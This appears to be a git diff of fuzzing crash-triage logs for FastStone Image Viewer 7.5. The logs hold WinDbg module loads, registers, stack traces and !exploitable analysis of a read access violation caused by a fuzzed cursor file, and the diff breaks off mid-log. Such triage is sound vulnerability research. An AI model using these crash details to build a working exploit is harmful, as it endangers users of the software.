+INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..67708c8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A54: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A54: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a54.1474): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07ec7b10 edx=00003879 esi=f3e30010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.319505000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.95689e-016 -3.08892e+008 1.43673e+032 9.71226 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028b000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028b000 7485bf4e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028b000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e696096 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/42944/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f7b5af6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..15eb071 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/43368/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1600.1b88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f47b10 edx=00003879 esi=ffdd0010 edi=07d52fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.760750300146320480000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.272811000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-0.209682 -8.59939e+012 1.56848e+015 4.05108e+036 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08028130 07fa5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00273000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00273000 a099fb07 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00273000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 